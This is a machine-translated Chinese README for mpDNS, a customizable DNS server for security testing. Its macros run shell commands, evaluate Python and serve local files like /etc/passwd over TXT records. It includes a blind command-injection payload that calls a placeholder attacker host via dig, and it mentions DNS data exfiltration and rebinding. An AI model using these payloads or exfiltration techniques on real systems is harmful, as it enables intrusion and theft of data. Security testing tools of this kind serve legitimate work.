适用于Python 2和3
names.db – >包含所有自定义记录(拜会示例)
大略的通配符,如 .example.com

捕获unicode dns要求
自定义动作又称宏:
- {{shellexec::dig google.com +short}} – >实行shell命令并利用result相应
- {{eval::res = '1.1.1.%d' % random.randint(0,256)}}- >评估你的python代码
- {{file::/etc/passwd}} – >回答本地文件内容
- {{resolve}} – >将DNS要求转发到本地系统DNS
- {{resolve::example.com}} – >解析example.com而不是原始记录
- {{echo}} – >回答对等地址
- {{shellexec::echo %PEER% %QUERY%}} – >利用变量
支持的查询类型:A,CNAME,TXT
更新names.db记录而不重启/重新加载./mpdns.py -e
重度基于https://github.com/circuits/circuits/blob/master/examples/dnsserver.py
用法: ./mpdns.py
编辑names.db,./mpdns.py -e无需重启
进攻和防守目的:
1.您须要一个轻量级的大略DNS做事器办理方案用于测试目的(不生产!
)
2.测试Web运用程序中的各种盲注漏洞(例如/ping.php?ip=$(dig $(whoami).attacker.com))
3.在一个TXT查询中轻松渗透65K数据
4.DNS重新绑定
5.对特定查询实行自定义宏操作(在恶意软件剖析实验室环境中很有用)
6.还有更多。它是高度可定制的。
安装
git clone https://github.com/nopernik/mpDNS
限定
1.由于UDP数据报限定为65535字节,DNS相应限定在约65200字节, 此限定适用于TXT分成256字节块的记录,直到相应达到最大许可值65200b, 因此TXT宏记录{{file:localfile.txt}}限定为65200字节。
2.不支持嵌套通配符 test..example.com
3.{{resolve::example.com}}宏中不支持自定义DNS做事器解析程序
4.TTL始终设为0
例子
names.db示例:
# Empty configuration will result in empty but valid responses## Unicode domain names are not supported but still can be catched by the server.# for example мама-сервер-unicode.google.com will be catched but with SERVFAIL responsepasswd.example.com TXT {{file::/etc/passwd}} #comments are ignoredshellexec TXT {{shellexec::whoami}}eval TXT {{eval::import random; res = random.randint(1,500)}}resolve1 A {{resolve}}resolve2 A {{resolve::self}} #same as previousresolve3 A {{resolve::example.com}}blabla.com A 5.5.5.5 A 127.0.0.1.example.com A 7.7.7.7c1.example.com CNAME c2.example.comc2.example.com CNAME c3.example.comc3.example.com CNAME google.example.comgoogle.example.com CNAME google.comtest.example.com A 8.8.8.8google.com A {{resolve::self}}notgoogle.com A {{resolve::google.com}}
利用names.db示例输出示例:
DB的定期办理方案:dig test.example.com @localhost
;; ANSWER SECTION:test.example.com. 0 IN A 8.8.8.8
mpDNS输出: - Request from 127.0.0.1:57698 -> test.example.com. -> 8.8.8.8 (A)
递归CNAME解析:dig c1.example.com @localhost
;; QUESTION SECTION:;c1.example.com. IN A;; ANSWER SECTION:c1.example.com. 0 IN CNAME c2.example.com.c2.example.com. 0 IN CNAME c3.example.com.c3.example.com. 0 IN CNAME google.example.com.google.example.com. 0 IN CNAME google.com.google.com. 0 IN A 216.58.206.14
mpDNS输出:
- Request from 127.0.0.1:44120 -> c1.example.com. -> c2.example.com (CNAME)- Request from 127.0.0.1:44120 -> c2.example.com -> c3.example.com (CNAME)- Request from 127.0.0.1:44120 -> c3.example.com -> google.example.com (CNAME)- Request from 127.0.0.1:44120 -> google.example.com -> google.com (CNAME)- Request from 127.0.0.1:44120 -> google.com -> {{resolve::self}} (A)
通配符解析:dig not-in-db.com @localhost
;; ANSWER SECTION:not-in-db.com. 0 IN A 127.0.0.1
mpDNS输出:
- Request from 127.0.0.1:38528 -> not-in-db.com. -> 127.0.0.1 (A)
通配符子域解析:dig wildcard.example.com @localhost
;; ANSWER SECTION:wildcard.example.com. 0 IN A 7.7.7.7
mpDNS输出:
- Request from 127.0.0.1:39691 -> wildcard.example.com. -> 7.7.7.7 (A)
转发要求宏:dig google.com @localhost
;; ANSWER SECTION:google.com. 0 IN A 172.217.22.110
mpDNS输出:
- Request from 127.0.0.1:53487 -> google.com. -> {{resolve::self}} (A)
自定义域宏的转发要求:dig notgoogle.com @localhost
;; ANSWER SECTION:notgoogle.com. 0 IN A 172.217.22.110
mpDNS输出:
- Request from 127.0.0.1:47797 -> notgoogle.com. -> {{resolve::google.com}} (A)
通过TXT查询文件内容宏:dig txt passwd.example.com @localhost
;; ANSWER SECTION:passwd.example.com. 0 IN TXT \"大众root:x:0:0:root:/root:/bin/bash\010daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\010bin:x:2:2:bin:......stripped\"大众
